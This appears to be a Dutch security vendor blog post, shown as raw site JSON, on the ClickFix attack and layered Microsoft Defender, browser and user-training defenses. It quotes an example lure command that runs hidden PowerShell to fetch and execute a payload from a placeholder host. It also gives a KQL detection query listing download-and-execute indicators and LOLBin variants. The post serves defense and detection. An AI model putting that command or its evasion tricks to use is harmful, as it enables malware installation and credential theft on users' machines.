[{"data":1,"prerenderedAt":1662},["ShallowReactive",2],{"sc:header-data-nl":3,"sc:footer-data-nl":489,"post-nl--posts-2026-09-21-clickfix-prevent-detect-153089af333d97":519,"authors_data":1086,"content-nl-list-7b291c2dd91a4":1438,"authors_data:Fritz Zurhorst|Nadine Klein":1658},{"lang":4,"home":5,"navigation":17,"meta":479,"contact":485},"de",{"name":6,"folderSwitch":7,"imgLight":10,"img":11,"languages":12},"home",[8,9],"authors","blog","/logos/gk-Logo-sw.svg","/logos/gk-Logo-rgb.svg",{"nl":13},{"title":14,"url":15,"alt":16},"Home","/nl","glueckkanja Logo",[18,127,231,316,395,402],{"name":19,"languages":20,"children":24},"workplace",{"nl":21},{"title":22,"description":23},"Workplace","Slimme, veilige en flexibele werkplekken op basis van Microsoft 365, waarin moderne technologie en identiteitsdiensten samenkomen.",[25,55,91],{"name":26,"languages":27,"children":30},"portfolio",{"nl":28},{"title":29},"Portfolio",[31,37,43,49],{"name":32,"languages":33},"managed-intune",{"nl":34},{"title":35,"url":36},"Managed Intune","/nl/entra-intune/managed-intune",{"name":38,"languages":39},"managed-entra",{"nl":40},{"title":41,"url":42},"Managed Entra","/nl/entra-intune/managed-entra",{"name":44,"languages":45},"managed-workplace",{"nl":46},{"title":47,"url":48},"Managed Workplace","/nl/workplace/managed-workplace",{"name":50,"languages":51},"consulting-services",{"nl":52},{"title":53,"url":54},"Consulting Services","/nl/workplace/consulting-services",{"name":56,"languages":57,"children":60},"microsoft-365-endpoint",{"nl":58},{"title":59},"Microsoft 365 Endpoint",[61,67,73,79,85],{"name":62,"languages":63},"microsoft-entra-suite",{"nl":64},{"title":65,"url":66},"Microsoft Entra Suite","/nl/workplace/microsoft-entra-suite",{"name":68,"languages":69},"microsoft-intune",{"nl":70},{"title":71,"url":72},"Microsoft Intune","/nl/workplace/microsoft-intune",{"name":74,"languages":75},"microsoft-windows",{"nl":76},{"title":77,"url":78},"Microsoft Windows","/nl/workplace/microsoft-windows",{"name":80,"languages":81},"windows-365-cloud-pc",{"nl":82},{"title":83,"url":84},"Windows 365 Cloud PC","/nl/workplace/windows365-cloud-pc",{"name":86,"languages":87},"cloud-workplace-foundation",{"nl":88},{"title":89,"url":90},"Cloud Workplace Foundation","/nl/workplace/cloud-workplace-foundation",{"name":92,"languages":93,"children":96},"microsoft-365-collaboration",{"nl":94},{"title":95},"Microsoft 365 Collaboration",[97,103,109,115,121],{"name":98,"languages":99},"microsoft-copilot",{"nl":100},{"title":101,"url":102},"Microsoft 365 Copilot","/nl/workplace/microsoft-365-copilot",{"name":104,"languages":105},"microsoft-teams",{"nl":106},{"title":107,"url":108},"Teams","/nl/workplace/microsoft-teams",{"name":110,"languages":111},"sharepoint-powerplatform",{"nl":112},{"title":113,"url":114},"SharePoint & Power Platform","/nl/workplace/sharepoint-power-platform",{"name":116,"languages":117},"exchange-online",{"nl":118},{"title":119,"url":120},"Exchange Online","/nl/workplace/exchange-online",{"name":122,"languages":123},"information-protection-compliance",{"nl":124},{"title":125,"url":126},"Information Protection & Compliance","/nl/workplace/information-protection-compliance",{"name":128,"languages":129,"children":133},"azure",{"nl":130},{"title":131,"description":132},"Azure","Groeien met Azure: lagere cloudkosten, meer efficiëntie en ruimte voor innovatie met IaaS en PaaS.",[134,151,181],{"name":135,"languages":136,"children":138},"azure-portfolio",{"nl":137},{"title":29},[139,145],{"name":140,"languages":141},"azure-managed-services",{"nl":142},{"title":143,"url":144},"Azure Managed Services","/nl/azure/azure-managed-services",{"name":146,"languages":147},"azure-consulting",{"nl":148},{"title":149,"url":150},"Azure Consulting","/nl/azure/azure-consulting",{"name":152,"languages":153,"children":156},"azure-scenarios",{"nl":154},{"title":155},"Scenario's",[157,163,169,175],{"name":158,"languages":159},"plan-your-cloud",{"nl":160},{"title":161,"url":162},"Plan je cloud","/nl/azure/plan-your-cloud",{"name":164,"languages":165},"migrate-to-the-cloud",{"nl":166},{"title":167,"url":168},"Migreren naar de cloud","/nl/azure/migrate-to-the-cloud",{"name":170,"languages":171},"innovate-your-business",{"nl":172},{"title":173,"url":174},"Vernieuw je business","/nl/azure/innovate-your-business",{"name":176,"languages":177},"vmware-exit",{"nl":178},{"title":179,"url":180},"Herzie je VMware-strategie","/nl/azure/vmware-exit",{"name":182,"languages":183,"children":186},"azure-practices",{"nl":184},{"title":185},"Practices",[187,193,199,202,208,213,219,225],{"name":188,"languages":189},"azure-foundation",{"nl":190},{"title":191,"url":192},"Azure Foundation","/nl/azure/azure-foundation",{"name":194,"languages":195},"azure-ai-foundation",{"nl":196},{"title":197,"url":198},"Azure AI Foundation","/nl/azure/azure-ai-foundation",{"name":86,"languages":200},{"nl":201},{"title":89,"url":90},{"name":203,"languages":204},"azure-data-foundation",{"nl":205},{"title":206,"url":207},"Azure Data Foundation","/nl/azure/azure-data-foundation",{"name":188,"languages":209},{"nl":210},{"title":211,"url":212},"Azure Container Foundation","/nl/azure/azure-container-foundation",{"name":214,"languages":215},"dark-tenant",{"nl":216},{"title":217,"url":218},"Managed Dark Tenant","/nl/azure/managed-dark-tenant",{"name":220,"languages":221},"azure-cloud-adoption-framework",{"nl":222},{"title":223,"url":224},"Cloud Adoption Framework","/nl/azure/cloud-adoption-framework",{"name":226,"languages":227},"azure-cloud-competence-center",{"nl":228},{"title":229,"url":230},"Cloud Competence Center","/nl/azure/cloud-competence-center",{"name":232,"languages":233,"children":242},"security",{"nl":234},{"title":235,"description":236,"emergency":237},"Security","Waakzaam in de cloud met een bekroonde 24/7 managed service, incident response en moderne bescherming van je infrastructuur.",{"text":238,"href":239,"skin":240,"icon":241},"Onder aanval?","/nl/security/are-you-under-attack","primary","emergency",[243,268,289],{"name":244,"children":245},"security-security-consulting",[246,252,256,262],{"name":247,"languages":248},"managed-red-tenant",{"nl":249},{"title":250,"url":251},"Managed Red Tenant","/nl/security/managed-red-tenant",{"name":214,"languages":253},{"nl":254},{"title":255,"url":218},"Dark Tenant",{"name":257,"languages":258},"sentinel-data-lake",{"nl":259},{"title":260,"url":261},"Sentinel Data Lake","/nl/security/sentinel-data-lake",{"name":263,"languages":264},"security-consulting",{"nl":265},{"title":266,"url":267},"Security Consulting","/nl/security/security-consulting",{"name":269,"children":270},"security-cloud-security-operations-center",[271,277,283],{"name":272,"languages":273},"cloud-security-operations-center",{"nl":274},{"title":275,"url":276},"Cloud Security Operations Center","/nl/security/cloud-security-operations-center",{"name":278,"languages":279},"global-secure-access",{"nl":280},{"title":281,"url":282},"Global Secure Access","/nl/security/global-secure-access",{"name":284,"languages":285},"my-work-id",{"nl":286},{"title":287,"url":288},"MyWorkID","/nl/security/my-work-id",{"name":290,"children":291},"security-preventive-services",[292,298,304,310],{"name":293,"languages":294},"preventive-services",{"nl":295},{"title":296,"url":297},"Preventive Services","/nl/security/preventive-services",{"name":299,"languages":300},"data-security-services",{"nl":301},{"title":302,"url":303},"Data Security Service","/nl/security/data-security-service",{"name":305,"languages":306},"security-copilot-agents",{"nl":307},{"title":308,"url":309},"Security Copilot Agents","/nl/security/security-copilot-agents",{"name":311,"languages":312},"nis2",{"nl":313},{"title":314,"url":315},"NIS2 implementeren","/nl/security/red-dark-tenant-nis2",{"name":317,"languages":318,"children":322},"products",{"nl":319},{"title":320,"description":321},"Producten","Companion-producten voor een volledig beveiligde, 100% cloud-native Microsoft-omgeving die samenwerking, netwerkauthenticatie en softwarebeheer versterken.",[323,360],{"name":324,"products":325,"children":326},"lorem ipsum 1",true,[327,336,344,352],{"name":328,"img":329,"target":330,"languages":331},"realmjoin","products/realmjoin/realmjoin-nav-logo.svg","_blank",{"nl":332},{"title":333,"url":334,"subtitle":335},"RealmJoin","https://www.realmjoin.com","Softwaredistributie vanuit de cloud",{"name":337,"img":338,"target":330,"languages":339},"scepman","products/scepman/scepman-nav-logo.svg",{"nl":340},{"title":341,"url":342,"subtitle":343},"SCEPman","https://www.scepman.com","Certificaatdistributie vanuit de cloud",{"name":345,"img":346,"target":330,"languages":347},"konnekt","products/konnekt/konnekt-nav-logo.svg",{"nl":348},{"title":349,"url":350,"subtitle":351},"KONNEKT","https://www.konnekt.io","Werk met je lokale Office 365-data",{"name":353,"img":354,"target":330,"languages":355},"realmigrator","products/realmigrator/realmigrator-nav-logo.svg",{"nl":356},{"title":357,"url":358,"subtitle":359},"RealMigrator","https://www.realmigrator.com","Migreer je data van de ene server naar de andere",{"name":361,"products":325,"children":362},"lorem ipsum 2",[363,371,379,387],{"name":364,"img":365,"target":330,"languages":366},"terraprovider","products/terraprovider/terraprovider-nav-logo.svg",{"nl":367},{"title":368,"url":369,"subtitle":370},"TerraProvider","https://www.terraprovider.com","Terraform Provider voor Microsoft 365",{"name":372,"img":373,"target":330,"languages":374},"radiusaas","products/radius/radius-nav-logo.svg",{"nl":375},{"title":376,"url":377,"subtitle":378},"RADIUSaaS","https://www.radius-as-a-service.com","Authenticatie voor je netwerk",{"name":380,"img":381,"target":330,"languages":382},"unifiedcontacts","products/unified-contacts/unifiedcontact-nav-logo.svg",{"nl":383},{"title":384,"url":385,"subtitle":386},"Unified Contacts","https://www.unified-contacts.com","Contacten vinden in Microsoft Teams",{"name":388,"img":389,"target":330,"languages":390},"autopilotmonitor","products/autopilot-monitor/AutopilotMonitor-nav-logo.svg",{"nl":391},{"title":392,"url":393,"subtitle":394},"Autopilot Monitor","https://www.autopilotmonitor.com","Windows Autopilot-monitoring in realtime",{"name":396,"languages":397},"casestudies",{"nl":398},{"title":399,"url":400,"description":401},"Case studies","/nl/casestudies","Pionier in de cloud: je Microsoft-partner voor doordachte cloudoplossingen met een blueprint-gebaseerde aanpak en expertise in Infrastructure-as-Code.",{"name":403,"languages":404,"children":407},"company",{"nl":405},{"title":406,"description":401},"Bedrijf",[408,438,462],{"name":409,"languages":410,"children":413},"company-about-us",{"nl":411},{"title":412},"Over ons",[414,420,426,432],{"name":415,"languages":416},"company-facts-figures",{"nl":417},{"title":418,"url":419},"Facts & Figures","/nl/company/facts-and-figures",{"name":421,"languages":422},"company-contact",{"nl":423},{"title":424,"url":425},"Contact & locaties","/nl/company/contact-and-locations",{"name":427,"languages":428},"switzerland",{"nl":429},{"title":430,"url":431}," glueckkanja Zwitserland","/nl/company/switzerland",{"name":433,"languages":434},"austria",{"nl":435},{"title":436,"url":437},"glueckkanja Oostenrijk","/nl/company/austria",{"name":439,"languages":440,"children":443},"company-career",{"nl":441},{"title":442},"Carrière",[444,450,456],{"name":445,"languages":446},"company-career-overview",{"nl":447},{"title":448,"url":449},"Carrière-overzicht","/nl/career",{"name":451,"languages":452},"company-young-professionals",{"nl":453},{"title":454,"url":455},"Young Professionals","/nl/young-professionals",{"name":457,"languages":458},"company-jobs",{"nl":459},{"title":460,"url":461},"Vacatures","/nl/job-offers",{"name":463,"languages":464,"children":467},"company-latest",{"nl":465},{"title":466},"Actueel",[468,474],{"name":469,"languages":470},"company-blog",{"nl":471},{"title":472,"url":473},"Blog","/nl/blog",{"name":469,"languages":475},{"nl":476},{"title":477,"url":478},"Events","/nl/events",[480],{"name":481,"languages":482},"career-meta",{"nl":483},{"title":442,"url":449,"active":484},false,{"languages":486},{"nl":487},{"title":488,"url":425,"active":484},"Contact",{"data":490},{"bgColor":491,"number":492,"mail":493,"brandLogos":494,"logos":495,"links":499,"linksNl":509},"var(--color-gk-mid-blue)","+49 69 4005520","info@glueckkanja.com",null,[496],{"img":10,"alt":16,"url":497,"class":498},"index.html","max-w-19rem",[500,503,506],{"title":501,"url":502},"Datenschutz","/de/privacy",{"title":504,"url":505},"Impressum","/de/imprint",{"title":507,"url":508},"No Cookies","/de/cookies",[510,513,516],{"title":511,"url":512},"Privacy","/nl/privacy",{"title":514,"url":515},"Juridische informatie","/nl/imprint",{"title":517,"url":518},"Geen cookies","/nl/cookies",{"id":520,"title":521,"author":522,"body":525,"cta":494,"description":577,"eventid":494,"extension":1038,"hideInRecent":484,"layout":1039,"meta":1040,"moment":1044,"navigation":325,"path":1078,"seo":1079,"stem":1080,"tags":1081,"webcast":484,"__hash__":1085},"content_nl/posts/2026-09-21-clickfix-prevent-detect.md","ClickFix. Als de gebruiker de exploit is, en hoe jullie dat stoppen",[523,524],"Fritz Zurhorst","Nadine Klein",{"type":526,"value":527,"toc":1027},"minimal",[528,533,537,540,547,555,558,564,567,587,598,604,610,613,617,619,622,625,629,631,634,648,652,654,661,741,758,761,765,767,770,785,788,791,795,797,800,803,828,832,834,837,844,848,850,853,879,882,885,888,987,990,993,996,1007,1010,1014,1016,1023],[529,530,532],"h2",{"id":531},"de-clickfix-aanvalsketen","De ClickFix-aanvalsketen",[534,535,536],"p",{},"{: .h3-font-size}",[534,538,539],{},"ClickFix is een aanval waarbij gebruikers hun eigen aanvaller worden. Geen exploit, geen kwetsbaarheid. Het slachtoffer voert de schadelijke code zelf uit, met één enkele copy-paste.",[534,541,542],{},[543,544],"img",{"alt":545,"src":546},"ClickFix-aanvalsketen in vijf stappen: het lokaas, de truc, copy-paste, uitvoering, infectie.","https://res.cloudinary.com/c4a8/image/upload/blog/pics/click-fix-img-01.png",[534,548,549,550,554],{},"Het lokaas is social engineering: een vals CAPTCHA op een kwaadaardige pagina, een onjuiste supportmelding (\"je browser heeft een update nodig\"), een phishingmail of een valse meetingpagina. Terwijl het slachtoffer op de pagina is, schrijft JavaScript de payload via ",[551,552,553],"code",{},"clipboard.writeText()"," naar het klembord. Dan vraagt de pagina de gebruiker om Win+R, Ctrl+V en Enter te drukken. Het dialoogvenster Uitvoeren start wat er op het klembord staat.",[534,556,557],{},"Een typisch lokaas ziet er zo uit:",[534,559,560],{},[543,561],{"alt":562,"src":563},"Screenshot van een vals CAPTCHA-lokaas dat de gebruiker vraagt Win en X te drukken, dan te plakken en met Enter een commando uit te voeren.","https://res.cloudinary.com/c4a8/image/upload/c_limit,w_1600,f_auto,q_auto/blog/pics/click-fix-img-02.png",[534,565,566],{},"Het commando dat het op het klembord zet, ziet er zo uit:",[568,569,571],"div",{"style":570},"background: var(--color-bg-grey); border-radius: 6px; padding: 1rem; margin: 0.25rem 0",[572,573,578],"pre",{"className":574,"code":575,"language":576,"meta":577,"style":577},"language-powershell shiki shiki-themes github-light github-dark","powershell.exe -w h iex(irm 'https://malicious[.]tld/payload' -UseBasicParsing)\n","powershell","",[551,579,580],{"__ignoreMap":577},[581,582,585],"span",{"class":583,"line":584},"line",1,[581,586,575],{},[534,588,589,590,593,594,597],{},"Er gebeuren twee dingen tegelijk. PowerShell start in een verborgen venster (",[551,591,592],{},"-w h","), en ",[551,595,596],{},"iex(irm …)"," laadt de payload en voert die direct in het geheugen uit. Niets landt op de schijf, signatuurgebaseerde antivirus heeft dus niets om te scannen. De tweede stap is meestal een infostealer (Lumma, Vidar, RedLine, StealC), een remote access trojan of een ransomware-loader.",[534,599,600,601,603],{},"Hetzelfde patroon in de Microsoft-Defender-telemetrie, een verborgen PowerShell, gestart vanuit Windows Terminal, dat ",[551,602,596],{}," uitvoert:",[534,605,606],{},[543,607],{"alt":608,"src":609},"Microsoft-Defender-inspect-record met de procesketen WindowsTerminal.exe naar pwsh.exe naar powershell.exe, die een iex(irm …)-commando uitvoert.","https://res.cloudinary.com/c4a8/image/upload/c_limit,w_1600,f_auto,q_auto/blog/pics/click-fix-img-03.png",[534,611,612],{},"Waarom dit zo goed werkt: alles draait in de gebruikerscontext, zonder verhoogde rechten. Cookies, opgeslagen wachtwoorden en sessietokens liggen binnen bereik van een standaardgebruiker. De aanvaller hoeft geen rechten te escaleren om bij dat te komen waarvoor hij is gekomen.",[529,614,616],{"id":615},"wat-microsoft-defender-detecteert","Wat Microsoft Defender detecteert",[534,618,536],{},[534,620,621],{},"Microsoft heeft de afgelopen maanden veel in de ClickFix-detectie geïnvesteerd. Als jullie Defender gezond en juist geconfigureerd is, krijgen jullie native detecties voor ClickFix-payloads. Sinds Q2 2025 publiceert MDE gedragsgebaseerde alerts onder titels als \"Suspicious 'ClickFix' behavior detected\", \"Malicious PowerShell command executed via Run dialog\" of \"An active 'Pacalau' malware in a command line was prevented from executing\". Ze vuren vanuit de MDE-cloud-engine via de analyse van de procesketen, parallel aan de AV-detectie en vaak een paar seconden eerder.",[534,623,624],{},"De configuratie die dat mogelijk maakt, staat verder naar onderen bij de hardening van de uitvoering.",[529,626,628],{"id":627},"waar-de-native-detectie-tegen-haar-grenzen-aanloopt","Waar de native detectie tegen haar grenzen aanloopt",[534,630,536],{},[534,632,633],{},"Cloudgebaseerde ML-signaturen hebben tijd nodig voordat ze afgaan. We zien regelmatig een gat van meer dan een minuut tussen de PowerShell-start en de Defender-alert. Een snellere payload glipt door dat venster.",[534,635,636,637,639,640,643,644,647],{},"Aanvallers passen zich bovendien snel aan. Ruil ",[551,638,576],{}," voor ",[551,641,642],{},"mshta http://..."," of ",[551,645,646],{},"msiexec /i http://...",", beide klassieke LOLBins, en de PowerShell-specifieke detecties grijpen niet meer.",[529,649,651],{"id":650},"het-gat-dichten-een-runmru-hunt","Het gat dichten: een RunMRU-hunt",[534,653,536],{},[534,655,656,657,660],{},"Dat gat dichten we met custom detections. Uitgangspunt is een KQL-query op de registry key ",[551,658,659],{},"RunMRU",", die elk commando meeschrijft dat een gebruiker in het Win+R-dialoogvenster typt.",[568,662,663],{"style":570},[572,664,668],{"className":665,"code":666,"language":667,"meta":577,"style":577},"language-kusto shiki shiki-themes github-light github-dark","DeviceRegistryEvents\n| where ActionType =~ \"RegistryValueSet\"\n| where InitiatingProcessFileName =~ \"explorer.exe\"\n| where RegistryKey has @\"\\CurrentVersion\\Explorer\\RunMRU\"\n| where RegistryValueData has \" ✅ \"\n    or (RegistryValueData has_any (\"powershell\", \"mshta\", \"curl\", \"msiexec\", \"^\")\n        and RegistryValueData matches regex \"[\\\\u0400-\\\\u04FF\\\\u0370-\\\\u03FF\\\\u0590-\\\\u05FF\\\\u0600-\\\\u06FF\\\\u0E00-\\\\u0E7F\\\\u2C80-\\\\u2CFF\\\\u13A0-\\\\u13FF\\\\u0530-\\\\u058F\\\\u10A0-\\\\u10FF\\\\u0900-\\\\u097F]\")\n    or (RegistryValueData has \"mshta\" and RegistryValueName !~ \"MRUList\" and RegistryValueData !in~ (\"mshta.exe\\\\1\", \"mshta\\\\1\"))\n    or (RegistryValueData has_any (\"bitsadmin\", \"forfiles\", \"ProxyCommand=\") and RegistryValueName !~ \"MRUList\")\n    or ((RegistryValueData startswith \"cmd\" or RegistryValueData startswith \"powershell\")\n        and (RegistryValueData has_any (\"-W Hidden \", \" -eC \", \"curl\", \"E:jscript\", \"ssh\", \"Invoke-Expression\", \"UtcNow\", \"Floor\", \"DownloadString\", \"DownloadFile\", \"FromBase64String\", \"System.IO.Compression\", \"System.IO.MemoryStream\", \"iex\", \"Invoke-WebRequest\", \"iwr\", \"Get-ADDomainController\", \"InstallProduct\", \"-w h\", \"-X POST\", \"Invoke-RestMethod\", \"-NoP -W\", \".InVOKe\", \"-useb\", \"irm \", \"^\", \"[char]\", \"[scriptblock]\", \"-UserAgent\", \"UseBasicParsing\", \".Content\")\n            or RegistryValueData matches regex @\"[-/–][Ee^]{1,2}[NnCcOoDdEeMmAa^]*\\s[A-Za-z0-9+/=]{15,}\"))\n","kusto",[551,669,670,675,681,687,693,699,705,711,717,723,729,735],{"__ignoreMap":577},[581,671,672],{"class":583,"line":584},[581,673,674],{},"DeviceRegistryEvents\n",[581,676,678],{"class":583,"line":677},2,[581,679,680],{},"| where ActionType =~ \"RegistryValueSet\"\n",[581,682,684],{"class":583,"line":683},3,[581,685,686],{},"| where InitiatingProcessFileName =~ \"explorer.exe\"\n",[581,688,690],{"class":583,"line":689},4,[581,691,692],{},"| where RegistryKey has @\"\\CurrentVersion\\Explorer\\RunMRU\"\n",[581,694,696],{"class":583,"line":695},5,[581,697,698],{},"| where RegistryValueData has \" ✅ \"\n",[581,700,702],{"class":583,"line":701},6,[581,703,704],{},"    or (RegistryValueData has_any (\"powershell\", \"mshta\", \"curl\", \"msiexec\", \"^\")\n",[581,706,708],{"class":583,"line":707},7,[581,709,710],{},"        and RegistryValueData matches regex \"[\\\\u0400-\\\\u04FF\\\\u0370-\\\\u03FF\\\\u0590-\\\\u05FF\\\\u0600-\\\\u06FF\\\\u0E00-\\\\u0E7F\\\\u2C80-\\\\u2CFF\\\\u13A0-\\\\u13FF\\\\u0530-\\\\u058F\\\\u10A0-\\\\u10FF\\\\u0900-\\\\u097F]\")\n",[581,712,714],{"class":583,"line":713},8,[581,715,716],{},"    or (RegistryValueData has \"mshta\" and RegistryValueName !~ \"MRUList\" and RegistryValueData !in~ (\"mshta.exe\\\\1\", \"mshta\\\\1\"))\n",[581,718,720],{"class":583,"line":719},9,[581,721,722],{},"    or (RegistryValueData has_any (\"bitsadmin\", \"forfiles\", \"ProxyCommand=\") and RegistryValueName !~ \"MRUList\")\n",[581,724,726],{"class":583,"line":725},10,[581,727,728],{},"    or ((RegistryValueData startswith \"cmd\" or RegistryValueData startswith \"powershell\")\n",[581,730,732],{"class":583,"line":731},11,[581,733,734],{},"        and (RegistryValueData has_any (\"-W Hidden \", \" -eC \", \"curl\", \"E:jscript\", \"ssh\", \"Invoke-Expression\", \"UtcNow\", \"Floor\", \"DownloadString\", \"DownloadFile\", \"FromBase64String\", \"System.IO.Compression\", \"System.IO.MemoryStream\", \"iex\", \"Invoke-WebRequest\", \"iwr\", \"Get-ADDomainController\", \"InstallProduct\", \"-w h\", \"-X POST\", \"Invoke-RestMethod\", \"-NoP -W\", \".InVOKe\", \"-useb\", \"irm \", \"^\", \"[char]\", \"[scriptblock]\", \"-UserAgent\", \"UseBasicParsing\", \".Content\")\n",[581,736,738],{"class":583,"line":737},12,[581,739,740],{},"            or RegistryValueData matches regex @\"[-/–][Ee^]{1,2}[NnCcOoDdEeMmAa^]*\\s[A-Za-z0-9+/=]{15,}\"))\n",[534,742,743,744,747,748,747,751,747,754,757],{},"De query markeert elke Win+R-invoer die eruitziet als een ClickFix-commando: PowerShell, mshta, curl of msiexec samen met typische indicatoren als ",[551,745,746],{},"-w hidden",", ",[551,749,750],{},"iex",[551,752,753],{},"irm",[551,755,756],{},"DownloadString"," of Base64-gecodeerde payloads. Ze vangt ook de subtiele trucs. De groene vinkje-emoji die veel valse CAPTCHA-lokazen voor het commando zetten. Unicode-tekens uit cyrillische, Arabische of Thaise bereiken, waarmee aanvallers tekst camoufleren en eenvoudige stringfilters omzeilen. Duikt een van deze patronen op in een Win+R-invoer, dan loopt er zeer waarschijnlijk op dat moment een ClickFix-aanval.",[534,759,760],{},"Voor onze CSOC-klanten draaien we deze en verdere custom detections om het gat tussen nieuwe aanvalstechnieken en de ingebouwde detectie te dichten.",[529,762,764],{"id":763},"beschermingslaag-1-de-bezorging-blokkeren","Beschermingslaag 1: de bezorging blokkeren",[534,766,536],{},[534,768,769],{},"Nu naar de preventie. ClickFix is wijdverbreid en succesvol, één enkele bescherming volstaat dus niet. We werken in lagen, van de bezorging tot de uitvoering.",[534,771,772,773,776,777,780,781,784],{},"Network Protection blokkeert bekende delivery-domains en C2-servers voor alle browsers. MDE Web Content Filtering vult categorieën aan als \"Newly registered domains\", \"Hacking\" en \"Illegal Software\". Network Protection is in Windows ingebouwd, maar voor browsers van derden moeten jullie QUIC en ECH uitschakelen, omdat beide de complete verbinding versleutelen en het doeldomein verbergen. Schakel QUIC in Chrome en Firefox uit via enterprise policy (",[551,774,775],{},"QuicAllowed = Disabled"," in Chrome, ",[551,778,779],{},"network.http.http3.enable = false"," in Firefox); voor ECH zetten jullie in Chrome ",[551,782,783],{},"EncryptedClientHelloEnabled = Disabled",".",[534,786,787],{},"Voor Edge activeren jullie SmartScreen. Voor browsers van derden schakelen jullie hun ingebouwde Safe Browsing aan. Dat is niet hetzelfde als Network Protection, maar helpt bij het filteren van schadelijke pagina's. Voor de mailvector controleren Safe Links en Safe Attachments links en bijlagen voordat gebruikers ermee interacteren.",[534,789,790],{},"Het addertje: dat alles grijpt alleen tegen bekende infrastructuur. Actuele ClickFix-campagnes lopen via vers geregistreerde infrastructuur die te laat wordt geïdentificeerd en geblokkeerd, en soms via legitieme pagina's die een aanvaller heeft gecompromitteerd. Dus kijken we naar wat beschermt nadat het lokaas is bezorgd.",[529,792,794],{"id":793},"beschermingslaag-2-de-truc-blokkeren","Beschermingslaag 2: de truc blokkeren",[534,796,536],{},[534,798,799],{},"Een paar Edge-features verhogen de hindernis terwijl de gebruiker op een kwaadaardige pagina is. Het governen van browserextensies verhindert dat gebruikers kwaadaardige of gecompromitteerde extensies installeren die ClickFix-overlays binnensmokkelen of zelf het klembord manipuleren. De Edge Enhanced Security Mode legt strengere beschermingsmaatregelen op aan onbekende en zelden bezochte pagina's (JIT uitgeschakeld, Control Flow Guard, hardwaregesteunde stackbescherming), wat op exploits gebaseerde browserovernames duidelijk bemoeilijkt. Typo Protection waarschuwt voor typosquatted domains (micros0ft.com, paypa1.com) en blokkeert een wijdverbreide ClickFix-delivery-vector via valse merkdomeinen.",[534,801,802],{},"Technische controls zijn maar de helft van het werk. Voorlichting van gebruikers blijft beslissend. De ene regel die het grootste deel draagt: als een webpagina je vraagt om iets in je computer te plakken, is het een aanval. Maak dat in de awarenesstraining concreet:",[804,805,807,808,807,816,807,822],"ul",{"style":806},"margin: 0.25rem 0","\n  ",[809,810,811,815],"li",{},[812,813,814],"strong",{},"Echt lokaas laten zien:"," valse \"Verify you are human\"-checkboxen, \"je browser heeft een update nodig\", \"het document kon niet worden gerenderd, voer deze fix uit\", kapotte Teams- of Zoom-audioprompts.",[809,817,818,821],{},[812,819,820],{},"De klembordtruc voordoen:"," laten zien hoe de pagina het klembord stil overschrijft.",[809,823,824,827],{},[812,825,826],{},"Melden eenvoudig maken:"," snel en zonder schuldtoewijzing.",[529,829,831],{"id":830},"beschermingslaag-3-de-actie-blokkeren","Beschermingslaag 3: de actie blokkeren",[534,833,536],{},[534,835,836],{},"Hier zijn er een paar mogelijkheden om het systeem te hardenen, geen daarvan is een garantie. Begin met het uitschakelen van het dialoogvenster Uitvoeren, dat verwijdert het Win+R-instappunt. Microsofts ClickFix-guidance raadt aan het uit te schakelen \"where it isn't necessary\". Dat sluit de specifieke Win+R-paste-aanval, maar alternatieve startvlakken blijven, zoals de adresbalk van Explorer en Windows Terminal.",[534,838,839,840,843],{},"Jullie kunnen Edge aanvullend hardenen met ",[551,841,842],{},"DefaultClipboardSetting",", dat verhindert dat JavaScript stil naar het klembord schrijft.",[529,845,847],{"id":846},"beschermingslaag-4-de-uitvoering-blokkeren","Beschermingslaag 4: de uitvoering blokkeren",[534,849,536],{},[534,851,852],{},"Breng voor de gevorderde features de grondbeginselen in orde. Voor ClickFix betekent dat:",[804,854,807,855,807,861,807,867,807,873],{"style":806},[809,856,857,860],{},[812,858,859],{},"Local admin reduction:"," lokale administratorrechten waar mogelijk bij eindgebruikers verwijderen om de werking van een code-uitvoering te beperken.",[809,862,863,866],{},[812,864,865],{},"Endpoint Privilege Management (EPM):"," gebruikers als standaardgebruiker laten werken en alleen goedgekeurde apps via policyregels eleveren.",[809,868,869,872],{},[812,870,871],{},"UAC-hardening:"," secure-desktop-enforcement, promptgedrag voor admins en standaardgebruikers en installerdetectie controleren.",[809,874,875,878],{},[812,876,877],{},"Credential Guard:"," NTLM-hashes, Kerberos-tickets en overig credentialmateriaal via op virtualisatie gebaseerde beveiliging isoleren, zodat credentialdiefstal moeilijk blijft, zelfs wanneer een aanvaller adminrechten verkrijgt.",[534,880,881],{},"Deze controls beperken escalatiemogelijkheden, beschermen credentials en dwingen least privilege af. De grens daarbij: ze begrenzen wat er na een compromittering gebeurt. Ze houden een infostealer in de standaardgebruikerscontext er niet van af om voor de gebruiker leesbare cookies, sessietokens en app-credentialstores uit te lezen.",[534,883,884],{},"Dan Microsoft Defender. Defender AV kan de payload van de tweede stap detecteren, maar alleen met de juiste instellingen: cloud protection aanzetten en het beschermingsniveau op High of High+ zetten. AMSI, het Antimalware Scan Interface, laat applicaties inhoud tijdens runtime aan Defender doorgeven ter controle, nadat die in het geheugen is ontsleuteld of gedeobfusceerd, maar voordat die wordt uitgevoerd. PowerShell gebruikt AMSI om schadelijke code te identificeren, en AMSI heeft realtimebescherming en behavior monitoring nodig.",[534,886,887],{},"Minstens vijf attack-surface-reduction-regels zijn relevant tegen ClickFix:",[568,889,891],{"style":890},"margin: 0.5rem 0 2rem; overflow-x: auto",[892,893,807,895,807,914],"table",{"style":894},"width:100%; border-collapse: collapse; font-size: 0.85rem",[896,897,898,899,807],"thead",{},"\n    ",[900,901,902,903,902,908,902,911,898],"tr",{},"\n      ",[904,905,907],"th",{"style":906},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #dde1e4; text-align: left; font-weight: 600","Regel",[904,909,910],{"style":906},"GUID",[904,912,913],{"style":906},"ClickFix-relevantie",[915,916,898,917,898,933,898,948,898,961,898,974,807],"tbody",{},[900,918,902,919,902,924,902,930,898],{},[920,921,923],"td",{"style":922},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #f6f8fa","Uitvoering van potentieel versluierde scripts blokkeren",[920,925,927],{"style":926},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #f6f8fa; white-space: nowrap",[551,928,929],{},"5beb7efe-fd9a-4556-801d-275e5ffc04cc",[920,931,932],{"style":922},"Versluierde of gecodeerde scripts in de uitvoerings- en evasiefase",[900,934,902,935,902,939,902,945,898],{},[920,936,938],{"style":937},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #ffffff","JavaScript of VBScript verhinderen gedownloade uitvoerbare inhoud te starten",[920,940,942],{"style":941},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #ffffff; white-space: 